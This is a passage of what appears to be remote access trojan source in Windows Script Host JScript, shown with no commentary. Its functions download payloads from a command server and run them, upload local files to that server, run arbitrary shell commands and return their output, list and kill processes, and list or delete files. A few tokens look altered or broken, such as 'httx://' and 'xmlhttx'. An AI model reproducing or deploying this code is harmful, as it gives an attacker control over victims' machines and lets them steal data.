shellobj.run(objfsodownload.getFile(strsaveto).shortPath);
|
|
updatestatus("Executed+File");
|
|
}
|
|
}
|
|
function download(fileurl,filedir)
|
|
{
|
|
if(filedir == "" ){filedir = installdir;}
|
|
strsaveto = filedir + fileurl.substr(fileurl.lastindexOf("\\" + 1));
|
|
var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp");
|
|
objhttpdownload.open("post","http://" + host +":" + port +"/" +"send-to-me" + spliter + fileurl, false);
|
|
objhttpdownload.setRequestHeader("user-agent:", information());
|
|
objhttpdownload.send("");
|
|
var objfsodownload = WScript.CreateObject("scripting.filesystemobject");
|
|
if(objfsodownload.fileExists(strsaveto)){objfsodownload.deleteFile(strsaveto);}
|
|
if(objhttpdownload.status ==208)
|
|
{
|
|
var objstreamdownload = WScript.CreateObject("adodb.stream");
|
|
objstreamdownload.Type =1;
|
|
objstreamdownload.Open();
|
|
objstreamdownload.Write(objhttpdownload.responseBody);
|
|
objstreamdownload.SaveToFile(strsaveto);
|
|
objstreamdownload.close();
|
|
objstreamdownload = null;
|
|
}
|
|
if(objfsodownload.fileExists(strsaveto))
|
|
{
|
|
shellobj.run(objfsodownload.getFile(strsaveto).shortPath);
|
|
updatestatus("Executed+File");
|
|
}
|
|
}
|
|
function updatestatus(status_msg)
|
|
{
|
|
var objsoc = WScript.CreateObject("msxml2.xmlhttp");
|
|
objsoc.open("post","http://" + host +":" + port + "/" + "update-status" + spliter + status_msg, false);
|
|
objsoc.setRequestHeader("user-agent:", information());
|
|
objsoc.send("");
|
|
}
|
|
function upload(fileurl, retcmd)
|
|
{
|
|
var httpobj,objstreamuploade,buffer;
|
|
var objstreamuploade = WScript.CreateObject("adodb.stream");
|
|
objstreamuploade.Type =1;
|
|
objstreamuploade.Open();
|
|
objstreamuploade.loadFromFile(fileurl);
|
|
buffer = objstreamuploade.Read();
|
|
objstreamuploade.close();
|
|
objstreamdownload = null;
|
|
var httpobj = WScript.CreateObject("msxml2.xmlhttx");
|
|
httpobj.open("post","httx://" + host + ":" + port +"/" + retcmd, false);
|
|
httpobj.setRequestHeader("user-agent:", information());
|
|
httpobj.send(buffer);
|
|
}
|
|
function deletefaf(url)
|
|
{
|
|
try
|
|
{
|
|
filesystemobj.deleteFile(url);
|
|
filesystemobj.deleteFolder(url);
|
|
}
|
|
catch(err){}
|
|
}
|
|
function cmdshell(cmd)
|
|
{
|
|
var httpobj,oexec,readallfromany;
|
|
var strsaveto = installdir +"out.txt";
|
|
shellobj.run("%comspec%(/c " + cmd + "(> \"" + strsaveto + "\"", 8, true);
|
|
readallfromany = filesystemobj.openTextFile(strsaveto).readAll();
|
|
try{filesystemobj.deleteFile(strsaveto);}
|
|
catch(ee){}
|
|
return readallfromany;
|
|
}
|
|
function enumprocess()
|
|
{
|
|
var ep = "";
|
|
try
|
|
{
|
|
var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2");
|
|
var colitems = objwmiservice.ExecQuery("select * from win32_process",null,48);
|
|
for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var objitem = fi.item();
|
|
ex = ep + objitem.name + "^";
|
|
ep = ex + objitem.processId + "^";
|
|
ep = ex + objitem.executablePath + spliter;
|
|
}
|
|
}
|
|
catch(er){}
|
|
return ep;
|
|
}
|
|
function exitprocess(pid)
|
|
{
|
|
try{shellobj.run("taskkill /F /T /PID " + pid,0,true);}
|
|
catch(err){}
|
|
}
|
|
function getParentDirectory(path)
|
|
{
|
|
var fo = filesystemobj.getFile(path);
|
|
return filesystemobj.getParentFolderName(fo);
|
|
}
|
|
function enumfaf(enumdir)
|
|
{
|
|
var re = "";
|
|
try
|
|
{
|
|
for(var fi = new Enumerator(filesystemobj.getFolder(enumdir).subfolders); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var folder = fi.item();
|
|
re = re + folder.name + "^^d^" + folder.attributes + spliter;
|
|
}
|
|
for(var fi = new Enumerator(filesystemobj.getFolder(enumdir).files); !fi.atEnd(); fi.moveNext())
|
|
{
|
|
var file = fi.item();
|
|
re = re + file.name +"^" + file.size +"^" + file.attributes + spliter;
|
|
}
|
|
}
|
|
catch(err){}
|
|
return re;
|
|
}
|